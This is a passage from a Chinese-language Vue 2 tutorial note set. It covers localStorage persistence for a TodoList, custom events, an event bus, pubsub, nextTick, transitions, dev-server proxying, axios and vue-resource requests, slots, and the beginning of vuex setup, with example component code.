  65. vertical-align: middle;
  66. cursor: pointer;
  67. box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
  68. border-radius: 4px;
  69. }
  70. .btn-danger {
  71. color: #fff;
  72. background-color: #da4f49;
  73. border: 1px solid #bd362f;
  74. }
  75. .btn-danger:hover {
  76. color: #fff;
  77. background-color: #bd362f;
  78. }
  79. .btn:focus {
  80. outline: none;
  81. }
  82. .todo-container {
  83. width: 600px;
  84. margin: 0 auto;
  85. }
  86. .todo-container .todo-wrap {
  87. padding: 10px;
  88. border: 1px solid #ddd;
  89. border-radius: 5px;
  90. }
  91. </style>

总结TodoList案例

1. 组件化编码流程:

    ​    (1).拆分静态组件:组件要按照功能点拆分,命名不要与html元素冲突。

    ​    (2).实现动态组件:考虑好数据的存放位置,数据是一个组件在用,还是一些组件在用:

    ​            1).一个组件在用:放在组件自身即可。

    ​            2). 一些组件在用:放在他们共同的父组件上(<span style="color:red">状态提升</span>)。

    ​    (3).实现交互:从绑定事件开始。

2. props适用于:

    ​    (1).父组件 ==> 子组件 通信

    ​    (2).子组件 ==> 父组件 通信(要求父先给子一个函数)

3. 使用v-model时要切记:v-model绑定的值不能是props传过来的值,因为props是不可以修改的!

4. props传过来的若是对象类型的值,修改对象中的属性时Vue不会报错,但不推荐这样做。


3.8WebStorage

webStorage

1. 存储内容大小一般支持5MB左右(不同浏览器可能还不一样)

2. 浏览器端通过 Window.sessionStorage 和 Window.localStorage 属性来实现本地存储机制。

3. 相关API:

    1. ```xxxxxStorage.setItem('key', 'value');```
                        该方法接受一个键和值作为参数,会把键值对添加到存储中,如果键名存在,则更新其对应的值。

    2. ```xxxxxStorage.getItem('person');```

        ​        该方法接受一个键名作为参数,返回键名对应的值。

    3. ```xxxxxStorage.removeItem('key');```

        ​        该方法接受一个键名作为参数,并把该键名从存储中删除。

    4. ``` xxxxxStorage.clear()```

        ​        该方法会清空存储中的所有数据。

4. 备注:

    1. SessionStorage存储的内容会随着浏览器窗口关闭而消失。
    2. LocalStorage存储的内容,需要手动清除才会消失。
    3. ```xxxxxStorage.getItem(xxx)```如果xxx对应的value获取不到,那么getItem的返回值是null。
    4. ```JSON.parse(null)```的结果依然是null。

3.9todoList本地存储

app

  1. <template>
  2. <div id="root">
  3. <div class="todo-container">
  4. <div class="todo-wrap">
  5. <MyHeader :receive='receive'/>
  6. <MyList :todos='todos' :checkTodo='checkTodo' :deleteTodo='deleteTodo'/>
  7. <MyFooter :todos='todos' :clearAll="clearAll"/>
  8. </div>
  9. </div>
  10. </div>
  11. </template>
  12. <script>
  13. import MyHeader from './components/MyHeader.vue'
  14. import MyFooter from './components/MyFooter.vue'
  15. import MyItem from './components/MyItem.vue'
  16. import MyList from './components/MyList.vue'
  17. export default {
  18. name:'App',
  19. components:{
  20. MyHeader,MyFooter,MyItem,MyList
  21. },
  22. data() {
  23. return {
  24. todos:JSON.parse(localStorage.getItem('todo'))||[]
  25. }
  26. },
  27. methods:{
  28. // 添加一个todo项
  29. receive(todoObj){
  30. this.todos.unshift(todoObj)
  31. },
  32. // 勾选框
  33. checkTodo(id){
  34. this.todos.forEach((todo)=>{
  35. if(todo.id == id) todo.done = !todo.done
  36. })
  37. },
  38. // 删除
  39. deleteTodo(id){
  40. this.todos = this.todos.filter(todo=>todo.id !== id )
  41. },
  42. // 清除做了的
  43. clearAll(){
  44. this.todos = this.todos.filter(todo=> !todo.done)
  45. }
  46. },
  47. watch:{
  48. todos:{
  49. deep:true,
  50. handler(val){
  51. window.localStorage.setItem('todo',JSON.stringify(val))
  52. }
  53. }
  54. }
  55. }
  56. </script>
  57. <style>
  58. /*base*/
  59. body {
  60. background: #fff;
  61. }
  62. .btn {
  63. display: inline-block;
  64. padding: 4px 12px;
  65. margin-bottom: 0;
  66. font-size: 14px;
  67. line-height: 20px;
  68. text-align: center;
  69. vertical-align: middle;
  70. cursor: pointer;
  71. box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.2), 0 1px 2px rgba(0, 0, 0, 0.05);
  72. border-radius: 4px;
  73. }
  74. .btn-danger {
  75. color: #fff;
  76. background-color: #da4f49;
  77. border: 1px solid #bd362f;
  78. }
  79. .btn-danger:hover {
  80. color: #fff;
  81. background-color: #bd362f;
  82. }
  83. .btn:focus {
  84. outline: none;
  85. }
  86. .todo-container {
  87. width: 600px;
  88. margin: 0 auto;
  89. }
  90. .todo-container .todo-wrap {
  91. padding: 10px;
  92. border: 1px solid #ddd;
  93. border-radius: 5px;
  94. }
  95. </style>

myfooter

  1. <template>
  2. <div class="todo-footer" v-show="todos.length">
  3. <label>
  4. <input type="checkbox" :checked="todoDone == todos.length &&todos.length>0" @change="checkAll"/>
  5. </label>
  6. <span>
  7. <span>已完成{{todoDone}}</span> / 全部{{todos.length}}
  8. </span>
  9. <button class="btn btn-danger" @click="clearTodo">清除已完成任务</button>
  10. </div>
  11. </template>
  12. <script>
  13. export default {
  14. name:'MyFooter',
  15. props:['todos','clearAll'],
  16. computed:{
  17. /* todoDone(){
  18. let i = 0
  19. this.todos.forEach((todo) => {
  20. if(todo.done) i++
  21. })
  22. return i
  23. } */
  24. todoDone(){
  25. // pre是上一次返回的值,第一次是后面开始统计的数0,current是遍历的每一个对象
  26. return this.todos.reduce((pre,current)=>pre +(current.done ? 1 :0),0)
  27. }
  28. },
  29. methods:{
  30. checkAll(e){
  31. this.todos.forEach(todo => {
  32. todo.done = e.target.checked
  33. })
  34. },
  35. clearTodo(){
  36. if(confirm('确定删除吗')) this.clearAll()
  37. }
  38. }
  39. }
  40. </script>
  41. <style scoped>
  42. /*footer*/
  43. .todo-footer {
  44. height: 40px;
  45. line-height: 40px;
  46. padding-left: 6px;
  47. margin-top: 5px;
  48. }
  49. .todo-footer label {
  50. display: inline-block;
  51. margin-right: 20px;
  52. cursor: pointer;
  53. }
  54. .todo-footer label input {
  55. position: relative;
  56. top: -1px;
  57. vertical-align: middle;
  58. margin-right: 5px;
  59. }
  60. .todo-footer button {
  61. float: right;
  62. margin-top: 5px;
  63. }
  64. </style>

3.10组件自定义事件

  1. 一种组件间通信的方式,适用于:子组件 ===> 父组件

  2. 使用场景:A是父组件,B是子组件,B想给A传数据,那么就要在A中给B绑定自定义事件(事件的回调在A中)。

  3. 绑定自定义事件:

    1. 第一种方式,在父组件中:<Demo @atguigu="test"/><Demo v-on:atguigu="test"/>

    2. 第二种方式,在父组件中:

      <Demo ref="demo"/>
      ......
      mounted(){
         this.$refs.xxx.$on('atguigu',this.test)
      }
    3. 若想让自定义事件只能触发一次,可以使用once修饰符,或$once方法。

  4. 触发自定义事件:this.$emit('atguigu',数据)

  5. 解绑自定义事件this.$off('atguigu')

  6. 组件上也可以绑定原生DOM事件,需要使用native修饰符。

  7. 注意:通过this.$refs.xxx.$on('atguigu',回调)绑定自定义事件时,回调要么配置在methods中,要么用箭头函数,否则this指向会出问题! 

通过props实现子给父传值(以下是student给APP传值):

 app.vue

  1. <template>
  2. <div>
  3. <School name="海贼培训基地" />
  4. <Student :receive="receiveName" />
  5. </div>
  6. </template>
  7. <script>
  8. import School from "./components/School.vue";
  9. import Student from "./components/Student.vue";
  10. export default {
  11. name: "App",
  12. components: {
  13. School,
  14. Student,
  15. },
  16. data() {
  17. return {};
  18. },
  19. methods: {
  20. receiveName(name) {
  21. console.log("app",name);
  22. },
  23. },
  24. };
  25. </script>

student.vue

  1. <template>
  2. <div class="demo">
  3. <h2>姓名:{{ name }}</h2>
  4. <h2>年龄:{{ age }}</h2>
  5. <h2>性别:{{ sex }}</h2>
  6. <button @click="sendInfo">名字传给app</button>
  7. </div>
  8. </template>
  9. <script>
  10. // import pubsub from "pubsub-js";
  11. export default {
  12. name: "MyStudent",
  13. props: ["receive"],
  14. data() {
  15. return {
  16. name: "路飞",
  17. age: 18,
  18. sex: "man",
  19. };
  20. },
  21. methods: {
  22. sendInfo() {
  23. this.receive(this.name);
  24. },
  25. },
  26. };
  27. </script>

总结:给父组件配置方法传递给子组件,子组件通过props接收后,通过调用该方法将值传递给父组件。

通过自定义事件子给父传值(以下是student给APP传值):(第一种方式)

app.vue

  1. <template>
  2. <div>
  3. <School name="海贼培训基地" />
  4. <Student @receive="test" />
  5. </div>
  6. </template>
  7. <script>
  8. import School from "./components/School.vue";
  9. import Student from "./components/Student.vue";
  10. export default {
  11. name: "App",
  12. components: {
  13. School,
  14. Student,
  15. },
  16. data() {
  17. return {};
  18. },
  19. methods: {
  20. test(name) {
  21. console.log('这是APP',name);
  22. },
  23. },
  24. };

student.vue

  1. <template>
  2. <div class="demo" ref="title">
  3. <h2>姓名:{{ name }}</h2>
  4. <h2>年龄:{{ age }}</h2>
  5. <h2>性别:{{ sex }}</h2>
  6. <button @click="sendInfo">名字传给app</button>
  7. <button @click="showInfo" >展示dom</button>
  8. </div>
  9. </template>
  10. <script>
  11. // import pubsub from "pubsub-js";
  12. export default {
  13. name: "MyStudent",
  14. data() {
  15. return {
  16. name: "路飞",
  17. age: 18,
  18. sex: "man",
  19. };
  20. },
  21. methods: {
  22. sendInfo() {
  23. this.$emit("receive", this.name);
  24. },
  25. showInfo() {
  26. console.log(this.$refs.title);
  27. },
  28. },
  29. };
  30. </script>

通过自定义事件子给父传值(以下是student给APP传值):(第二种方式)

app.vue

  1. <template>
  2. <div>
  3. <School name="海贼培训基地" />
  4. <Student ref="student" />
  5. </div>
  6. </template>
  7. <script>
  8. import School from "./components/School.vue";
  9. import Student from "./components/Student.vue";
  10. export default {
  11. name: "App",
  12. components: {
  13. School,
  14. Student,
  15. },
  16. data() {
  17. return {};
  18. },
  19. methods: {},
  20. mounted() {
  21. this.$refs.student.$on("receive", (arg) => {
  22. console.log("app", arg);
  23. });
  24. },
  25. };
  26. </script>

student.vue

  1. <template>
  2. <div class="demo" ref="title">
  3. <h2>姓名:{{ name }}</h2>
  4. <h2>年龄:{{ age }}</h2>
  5. <h2>性别:{{ sex }}</h2>
  6. <button @click="sendInfo">名字传给app</button>
  7. </div>
  8. </template>
  9. <script>
  10. // import pubsub from "pubsub-js";
  11. export default {
  12. name: "MyStudent",
  13. data() {
  14. return {
  15. name: "路飞",
  16. age: 18,
  17. sex: "man",
  18. };
  19. },
  20. methods: {
  21. sendInfo() {
  22. this.$emit('receive',this.name)
  23. },
  24. },
  25. };
  26. </script>

3.11全局事件总线

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 安装全局事件总线:

    new Vue({
        ......
        beforeCreate() {
            Vue.prototype.$bus = this //安装全局事件总线,$bus就是当前应用的vm
        },
        ......
    }) 
  3. 使用事件总线:

    1. 接收数据:A组件想接收数据,则在A组件中给$bus绑定自定义事件,事件的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.$bus.$on('xxxx',this.demo)
      }
    2. 提供数据:this.$bus.$emit('xxxx',数据)

  4. 最好在beforeDestroy钩子中,用$off去解绑当前组件所用到的事件。

main.js

  1. // 引入vue
  2. import Vue from 'vue'
  3. // 引入APP组件,它是所有组件的父组件
  4. import App from './App.vue'
  5. // 关闭vue生产提示
  6. Vue.config.productionTip = false
  7. // 创建vue实例
  8. new Vue({
  9. render: h => h(App),
  10. beforeCreate(){
  11. Vue.prototype.$bus = this
  12. },
  13. }).$mount('#app')

 school.vue

  1. <template>
  2. <div class="demo">
  3. <h2>School</h2>
  4. <h2 class="title">姓名:{{ name }}</h2>
  5. <h2>住址:{{ address }}</h2>
  6. <button @click="showInfo">点我将名字送给student</button>
  7. </div>
  8. </template>
  9. <script>
  10. // import pubsub from "pubsub-js";
  11. export default {
  12. name: "MySchool",
  13. props: ["name"],
  14. data() {
  15. return {
  16. // name: "123",
  17. address: "东海",
  18. };
  19. },
  20. methods: {
  21. showInfo() {
  22. this.$bus.$emit('receiveSchool',this.name)
  23. },
  24. },
  25. mounted() {
  26. this.$bus.$on("send", (name) => {
  27. console.log(this, name);
  28. });
  29. },
  30. };
  31. </script>

student.vue

  1. <template>
  2. <div class="demo">
  3. <h2>student</h2>
  4. <h2>姓名:{{ name }}</h2>
  5. <h2>年龄:{{ age }}</h2>
  6. <h2>性别:{{ sex }}</h2>
  7. <button @click="sendInfo">名字传给school</button>
  8. </div>
  9. </template>
  10. <script>
  11. // import pubsub from "pubsub-js";
  12. export default {
  13. name: "MyStudent",
  14. data() {
  15. return {
  16. name: "路飞",
  17. age: 18,
  18. sex: "man",
  19. };
  20. },
  21. methods: {
  22. sendInfo() {
  23. this.$bus.$emit("send", this.name);
  24. },
  25. },
  26. mounted() {
  27. this.$bus.$on("receiveSchool", (name) => {
  28. console.log(this, name);
  29. });
  30. },
  31. };
  32. </script>

3.12消息订阅与发布(pubsub)

  1. 一种组件间通信的方式,适用于任意组件间通信。

  2. 使用步骤:

    1. 安装pubsub:npm i pubsub-js

    2. 引入: import pubsub from 'pubsub-js'

    3. 接收数据:A组件想接收数据,则在A组件中订阅消息,订阅的回调留在A组件自身。

      methods(){
        demo(data){......}
      }
      ......
      mounted() {
        this.pid = pubsub.subscribe('xxx',this.demo) //订阅消息
      }
    4. 提供数据:pubsub.publish('xxx',数据)

    5. 最好在beforeDestroy钩子中,用PubSub.unsubscribe(this.pid)去取消订阅。

 student.vue

  1. <template>
  2. <div class="demo">
  3. <h2>student</h2>
  4. <h2>姓名:{{ name }}</h2>
  5. <h2>年龄:{{ age }}</h2>
  6. <h2>性别:{{ sex }}</h2>
  7. <button @click="sendInfo">名字传给school</button>
  8. <button @click="dead">点我取消订阅</button>
  9. </div>
  10. </template>
  11. <script>
  12. import pubsub from "pubsub-js";
  13. export default {
  14. name: "MyStudent",
  15. data() {
  16. return {
  17. name: "路飞",
  18. age: 18,
  19. sex: "man",
  20. };
  21. },
  22. methods: {
  23. sendInfo() {
  24. this.pubId = pubsub.publish("studentMsg", this.name);
  25. },
  26. dead() {
  27. this.$destroy();
  28. },
  29. },
  30. mounted() {
  31. //subscribe后面的回调函数里面参数第一个是订阅消息的名称,第二个往后才是接收到的参数
  32. pubsub.subscribe("schoolMsg", (name, urg) => {
  33. console.log(this, name, urg);
  34. });
  35. },
  36. beforeDestroy() {
  37. pubsub.unsubscribe(this.pubId);
  38. },
  39. };
  40. </script>

school.vue

  1. <template>
  2. <div class="demo">
  3. <h2>School</h2>
  4. <h2 class="title">姓名:{{ name }}</h2>
  5. <h2>住址:{{ address }}</h2>
  6. <button @click="showInfo">点我将名字送给student</button>
  7. </div>
  8. </template>
  9. <script>
  10. import pubsub from "pubsub-js";
  11. export default {
  12. name: "MySchool",
  13. props: ["name"],
  14. data() {
  15. return {
  16. // name: "123",
  17. address: "东海",
  18. };
  19. },
  20. methods: {
  21. showInfo() {
  22. pubsub.publish("schoolMsg", this.name);
  23. },
  24. },
  25. mounted() {
  26. //subscribe后面的回调函数里面参数第一个是订阅消息的名称,第二个往后才是接收到的参数
  27. pubsub.subscribe("studentMsg", (name, urg) => {
  28. console.log(this, name,urg);
  29. });
  30. },
  31. };
  32. </script>

3.13nextTick

  1. 语法:this.$nextTick(回调函数)

  2. 作用:在下一次 DOM 更新结束后执行其指定的回调。

  3. 什么时候用:当改变数据后,要基于更新后的新DOM进行某些操作时,要在nextTick所指定的回调函数中执行。

视频中是先让dom结构发生改变后,然后获取焦点,就把这个获取焦点的回调函数放在nextTick中 

 3.14Vue封装的过渡与动画

1.作用:在插入、更新或移除 DOM元素时,在合适的时候给元素添加样式类名

2.图示:

3.写法:

  1. 准备好样式:

    • 元素进入的样式:

      1. v-enter:进入的起点

      2. v-enter-active:进入过程中

      3. v-enter-to:进入的终点

    • 元素离开的样式:

      1. v-leave:离开的起点

      2. v-leave-active:离开过程中

      3. v-leave-to:离开的终点

  2. 使用<transition>包裹要过度的元素,并配置name属性:

    <transition name="hello">
        <h1 v-show="isShow">你好啊!</h1>
    </transition>
  3. 备注:若有多个元素需要过度,则需要使用:<transition-group>,且每个元素都要指定key值。

 第一种:封装动画

  1. <template>
  2. <div>
  3. <button @click="isShow = !isShow">点击显示/隐藏</button>
  4. <!-- appear设置后可以让他一上来就显示动画 -->
  5. <transition name="hela" appear>
  6. <h2 v-show="isShow">呼啦呼啦</h2>
  7. </transition>
  8. </div>
  9. </template>
  10. <script>
  11. export default {
  12. name: "animationTest",
  13. data() {
  14. return {
  15. isShow: true,
  16. };
  17. },
  18. methods: {},
  19. };
  20. </script>
  21. <style>
  22. h2 {
  23. background-color: skyblue;
  24. height: 50px;
  25. }
  26. .hela-enter-active {
  27. animation: tom linear 2s;
  28. }
  29. .hela-leave-active {
  30. animation: tom linear 2s reverse;
  31. }
  32. @keyframes tom {
  33. from {
  34. transform: translateX(-100%);
  35. }
  36. to {
  37. transform: translateX(0px);
  38. }
  39. }
  40. </style>

第二种:用过渡

  1. <template>
  2. <div>
  3. <button @click="isShow = !isShow">点击显示/隐藏</button>
  4. <!-- appear设置后可以让他一上来就显示动画 -->
  5. <transition-group name="hela" appear>
  6. <h2 v-show="!isShow" key="1">利威尔兵长</h2>
  7. <h2 v-show="isShow" key="2">艾伦耶格尔</h2>
  8. </transition-group>
  9. </div>
  10. </template>
  11. <script>
  12. export default {
  13. name: "animationTest2",
  14. data() {
  15. return {
  16. isShow: true,
  17. };
  18. },
  19. methods: {},
  20. };
  21. </script>
  22. <style>
  23. h2 {
  24. background-color: skyblue;
  25. height: 50px;
  26. }
  27. /* 进来的起点,离开的终点 */
  28. .hela-enter,
  29. .hela-leave {
  30. transform: translateX(-100%);
  31. }
  32. /* 进来的终点,离开的起点 */
  33. .hela-enter-to,
  34. .hela-leave {
  35. transform: translateX(0px);
  36. }
  37. .hela-leave-active,
  38. .hela-enter-active {
  39. transition: 2s, linear;
  40. }
  41. </style>

4.Vue中的ajax

4.1vue脚手架配置代理

方法一

在vue.config.js中添加如下配置:

devServer:{
  proxy:"http://localhost:8080"
}

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080)即可。

  2. 缺点:不能配置多个代理,不能灵活的控制请求是否走代理(如果public文件夹里面有的话,优先提供public里面的数据,这样就走不了代理)。

  3. 工作方式:若按照上述配置代理,当请求了前端不存在的资源时,那么该请求会转发给服务器 (优先匹配前端资源)

方法二

编写vue.config.js配置具体代理规则:

module.exports = {
    devServer: {
      proxy: {
      '/api1': {// 匹配所有以 '/api1'开头的请求路径
        target: 'http://localhost:5000',// 代理目标的基础路径
        changeOrigin: true,
        ws: true,//用于支持websocket
        pathRewrite: {'^/api1': ''}//将路径带api1的都变成'',再加后面字符串
      },
      '/api2': {// 匹配所有以 '/api2'开头的请求路径
        target: 'http://localhost:5001',// 代理目标的基础路径
        changeOrigin: true,
        pathRewrite: {'^/api2': ''}
      }
    }
  }
}
/*
   changeOrigin设置为true时,服务器收到的请求头中的host为:localhost:5000
   changeOrigin设置为false时,服务器收到的请求头中的host为:localhost:8080
   changeOrigin默认值为true
*/

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求是否走代理。

  2. 缺点:配置略微繁琐,请求资源时必须加前缀。

vue.config.js

  1. module.exports = {
  2. pages: {
  3. index: {
  4. // page 的入口
  5. entry: 'src/main.js'
  6. }
  7. },
  8. lintOnSave:false,//关闭语法检查
  9. // 服务器代理(方式一)
  10. /* devServer: {
  11. proxy: 'http://localhost:5000'
  12. } */
  13. // 服务器代理(方式二)
  14. devServer: {
  15. proxy: {
  16. '/api': {//匹配所有以 '/api'开头的请求路径
  17. target: 'http://localhost:5000',
  18. pathRewrite:{'^/api':''},//将路径带api的都变成'',再加后面字符串
  19. ws: true,//用于支持websocket
  20. changeOrigin: true//当为true时,告诉请求服务器host为5000,如果为false,则告诉请求服务器host为8080
  21. },
  22. '/demo': {//匹配所有以 '/demo'开头的请求路径
  23. target: 'http://localhost:5001',
  24. pathRewrite:{'^/demo':''},
  25. ws: true,//用于支持websocket
  26. changeOrigin: true//当为true时,告诉请求服务器host为5000,如果为false,则告诉请求服务器host为8080
  27. },
  28. }
  29. }
  30. }

app.vue

  1. <template>
  2. <div>
  3. <button @click="getInfo">获取学生信息</button>
  4. <button @click="getInfo2">获取汽车信息</button>
  5. </div>
  6. </template>
  7. <script>
  8. import axios from "axios";
  9. export default {
  10. name: "App",
  11. components: {},
  12. data() {
  13. return {};
  14. },
  15. methods: {
  16. getInfo() {
  17. axios.get("http://localhost:8080/api/students").then(
  18. (response) => {
  19. console.log("请求成功", response.data);
  20. },
  21. (error) => {
  22. console.log("请求失败", error.message);
  23. }
  24. );
  25. },
  26. getInfo2() {
  27. //这儿get的是代理服务器,然后代理服务器再向后端服务器发送请求
  28. axios.get("http://localhost:8080/demo/cars").then(
  29. (response) => {
  30. console.log("请求成功", response.data);
  31. },
  32. (error) => {
  33. console.log("请求失败", error.message);
  34. }
  35. );
  36. },
  37. },
  38. };
  39. </script>

4.2vue-resource(了解)

下载 vue-resource库:npm i vue-resource

使用:在main.js中引用,vue.use(vueResource),在需要发送请求的地方,以前用的是axios.get,现在需要this.$http.get就可以使用了。

vue项目常用的两个Ajax库:

  1. axios:通用的Ajax请求库,官方推荐,效率高
  2. vue-resource:vue插件库,vue 1.x使用广泛,官方已不维护

main.js

  1. // 引入vue
  2. import Vue from 'vue'
  3. // 引入APP组件,它是所有组件的父组件
  4. import App from './App.vue'
  5. import vueResource from "vue-resource";
  6. // 关闭vue生产提示
  7. Vue.config.productionTip = false
  8. Vue.use(vueResource)
  9. // 创建vue实例
  10. new Vue({
  11. render: h => h(App),
  12. }).$mount('#app')

app.vue

  1. <template>
  2. <div>
  3. <button @click="getInfo">获取学生信息</button>
  4. <button @click="getInfo2">获取汽车信息</button>
  5. </div>
  6. </template>
  7. <script>
  8. export default {
  9. name: "App",
  10. components: {},
  11. data() {
  12. return {};
  13. },
  14. methods: {
  15. getInfo() {
  16. this.$http.get("http://localhost:8080/api/students").then(
  17. (response) => {
  18. console.log("请求成功", response.data);
  19. },
  20. (error) => {
  21. console.log("请求失败", error.message);
  22. }
  23. );
  24. },
  25. getInfo2() {
  26. //这儿get的是代理服务器,然后代理服务器再向后端服务器发送请求
  27. this.$http.get("http://localhost:8080/demo/cars").then(
  28. (response) => {
  29. console.log("请求成功", response.data);
  30. },
  31. (error) => {
  32. console.log("请求失败", error.message);
  33. }
  34. );
  35. },
  36. },
  37. };
  38. </script>

4.3插槽

  1. 作用:让父组件可以向子组件指定位置插入html结构,也是一种组件间通信的方式,适用于 父组件 ===> 子组件

  2. 分类:默认插槽、具名插槽、作用域插槽

  3. 使用方式:

    1. 默认插槽:

      父组件中:
              <Category>
                 <div>html结构1</div>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot>插槽默认内容...</slot>
                  </div>
              </template>
    2. 具名插槽:

      父组件中:
              <Category>
                  <template slot="center">
                    <div>html结构1</div>
                  </template>
      ​
                  <template v-slot:footer>//相当于slot='footer'并且必须配合template标签
                     <div>html结构2</div>
                  </template>
              </Category>
      子组件中:
              <template>
                  <div>
                     <!-- 定义插槽 -->
                     <slot name="center">插槽默认内容...</slot>
                     <slot name="footer">插槽默认内容...</slot>
                  </div>
              </template>
    3. 作用域插槽:

      1. 理解:数据在组件的自身,但根据数据生成的结构需要组件的使用者来决定。(games数据在Category组件中,但使用数据所遍历出来的结构由App组件决定)

      2. 具体编码:

        父组件中:
                <Category>
                    <template scope="scopeData">//scopeData是一个对象
                        <!-- 生成的是ul列表 -->
                        <ul>
                            <li v-for="g in scopeData.games" :key="g">{{g}}</li>
                        </ul>
                    </template>
                </Category>
        ​
                <Category>
                    <template slot-scope="scopeData">
                        <!-- 生成的是h4标题 -->
                        <h4 v-for="g in scopeData.games" :key="g">{{g}}</h4>
                    </template>
                </Category>
        子组件中:
                <template>
                    <div>
                        <slot :games="games"></slot>
                    </div>
                </template>
                
                <script>
                    export default {
                        name:'Category',
                        props:['title'],
                        //数据在子组件自身
                        data() {
                            return {
                                games:['红色警戒','穿越火线','劲舞团','超级玛丽']
                            }
                        },
                    }
                </script>

 默认插槽用法:

app.vue

  1. <template>
  2. <div class="container">
  3. <category title="美食">
  4. <img src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg" alt="" />
  5. </category>
  6. <category title="游戏">
  7. <ul>
  8. <li v-for="(data, index) in games" :key="index">{{ data }}</li>
  9. </ul>
  10. </category>
  11. <category title="电影">
  12. <video
  13. src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"
  14. controls
  15. ></video>
  16. </category>
  17. </div>
  18. </template>
  19. <script>
  20. import category from "./components/category.vue";
  21. export default {
  22. name: "App",
  23. components: { category },
  24. data() {
  25. return {
  26. foods: ["火锅", "烧烤", "小龙虾", "牛排"],
  27. games: ["红色警戒", "穿越火线", "王者荣耀", "超级玛丽"],
  28. films: [
  29. "《海贼王》",
  30. "《进击的巨人》",
  31. "《拆弹专家》",
  32. "《你好!李焕英》",
  33. ],
  34. };
  35. },
  36. };
  37. </script>
  38. <style>
  39. .container {
  40. display: flex;
  41. justify-content: space-around;
  42. }
  43. img {
  44. width: 100%;
  45. }
  46. video {
  47. width: 100%;
  48. }
  49. </style>

category.vue

  1. <template>
  2. <div class="category">
  3. <h3>{{ title }}分类</h3>
  4. <!-- 定义一个插槽,占位置,等着组件的使用者来进行填充 -->
  5. <slot>如果没有添加的内容,我就会显示</slot>
  6. </div>
  7. </template>
  8. <script>
  9. export default {
  10. name: "cateGory",
  11. props: ["title"],
  12. data() {
  13. return {};
  14. },
  15. };
  16. </script>
  17. <style>
  18. .category {
  19. width: 200px;
  20. height: 300px;
  21. background-color: skyblue;
  22. }
  23. h3 {
  24. background-color: orange;
  25. text-align: center;
  26. }
  27. </style>

具名插槽(有名字)

app.vue

  1. <template>
  2. <div class="container">
  3. <category title="美食">
  4. <img
  5. src="https://s3.ax1x.com/2021/01/16/srJlq0.jpg"
  6. alt=""
  7. slot="slot2"
  8. />
  9. <h4 slot="slot1">海贼·王路飞</h4>
  10. </category>
  11. <category title="游戏">
  12. <template v-slot:slot2>
  13. <ul>
  14. <li v-for="(data, index) in games" :key="index">{{ data }}</li>
  15. </ul>
  16. </template>
  17. </category>
  18. <category title="电影">
  19. <!-- v-slot:slot1必须配合template标签 -->
  20. <template v-slot:slot1>
  21. <video
  22. src="http://clips.vorwaerts-gmbh.de/big_buck_bunny.mp4"
  23. controls
  24. ></video>
  25. </template>
  26. </category>
  27. </div>
  28. </template>
  29. <script>
  30. import category from "./components/category.vue";
  31. export default {
  32. name: "App",
  33. components: { category },
  34. data() {
  35. return {
  36. foods: ["火锅", "烧烤", "小龙虾", "牛排"],
  37. games: ["红色警戒", "穿越火线", "王者荣耀", "超级玛丽"],
  38. films: [
  39. "《海贼王》",
  40. "《进击的巨人》",
  41. "《拆弹专家》",
  42. "《你好!李焕英》",
  43. ],
  44. };
  45. },
  46. };
  47. </script>
  48. <style>
  49. .container {
  50. display: flex;
  51. justify-content: space-around;
  52. }
  53. img {
  54. width: 100%;
  55. }
  56. video {
  57. width: 100%;
  58. }
  59. </style>

category.vue

  1. <template>
  2. <div class="category">
  3. <h3>{{ title }}分类</h3>
  4. <!-- 定义一个插槽,占位置,等着组件的使用者来进行填充 -->
  5. <slot name="slot1">如果没有添加的内容,我就会显示....</slot>
  6. <slot name="slot2">如果没有添加的内容,我就会显示????</slot>
  7. </div>
  8. </template>
  9. <script>
  10. export default {
  11. name: "cateGory",
  12. props: ["title"],
  13. data() {
  14. return {};
  15. },
  16. };
  17. </script>
  18. <style>
  19. .category {
  20. width: 200px;
  21. height: 300px;
  22. background-color: skyblue;
  23. }
  24. h3 {
  25. background-color: orange;
  26. text-align: center;
  27. }
  28. </style>

作用域插槽

app.vue

  1. <template>
  2. <div class="container">
  3. <category title="游戏">
  4. <!-- 作用域插槽中传过来的数据是一个对象,这儿用dataObj来接收 -->
  5. <template scope="dataObj">
  6. <ul>
  7. <li v-for="(data, index) in dataObj.games" :key="index">
  8. {{ data }}
  9. </li>
  10. </ul>
  11. </template>
  12. </category>
  13. <category title="游戏">
  14. <template slot-scope="dataObj">
  15. <ul>
  16. <li v-for="(data, index) in dataObj.games" :key="index">
  17. {{ data }}
  18. </li>
  19. </ul>
  20. </template>
  21. </category>
  22. </div>
  23. </template>
  24. <script>
  25. import category from "./components/category.vue";
  26. export default {
  27. name: "App",
  28. components: { category },
  29. data() {
  30. return {};
  31. },
  32. };
  33. </script>
  34. <style>
  35. .container {
  36. display: flex;
  37. justify-content: space-around;
  38. }
  39. img {
  40. width: 100%;
  41. }
  42. video {
  43. width: 100%;
  44. }
  45. </style>

category.vue

  1. <template>
  2. <div class="category">
  3. <h3>{{ title }}分类</h3>
  4. <!-- 定义一个插槽,占位置,等着组件的使用者来进行填充 -->
  5. <slot :games="games">如果没有添加的内容,我就会显示....</slot>
  6. </div>
  7. </template>
  8. <script>
  9. export default {
  10. name: "cateGory",
  11. props: ["title"],
  12. data() {
  13. return {
  14. games: ["红色警戒", "穿越火线", "王者荣耀", "超级玛丽"],
  15. };
  16. },
  17. };
  18. </script>
  19. <style>
  20. .category {
  21. width: 200px;
  22. height: 300px;
  23. background-color: skyblue;
  24. }
  25. h3 {
  26. background-color: orange;
  27. text-align: center;
  28. }
  29. </style>

5.vuex

1.概念

在Vue中实现集中式状态(数据)管理的一个Vue插件,对vue应用中多个组件的共享状态进行集中式的管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信。

2.何时使用?

多个组件需要共享数据时

3.搭建vuex环境

下载vuexnpm i vuex

  1. 创建文件:src/store/index.js

    //引入Vue核心库
    import Vue from 'vue'
    //引入Vuex
    import Vuex from 'vuex'
    //应用Vuex插件
    Vue.use(Vuex)
    ​
    //准备actions对象——响应组件中用户的动作
    const actions = {}
    //准备mutations对象——修改state中的数据
    const mutations = {}
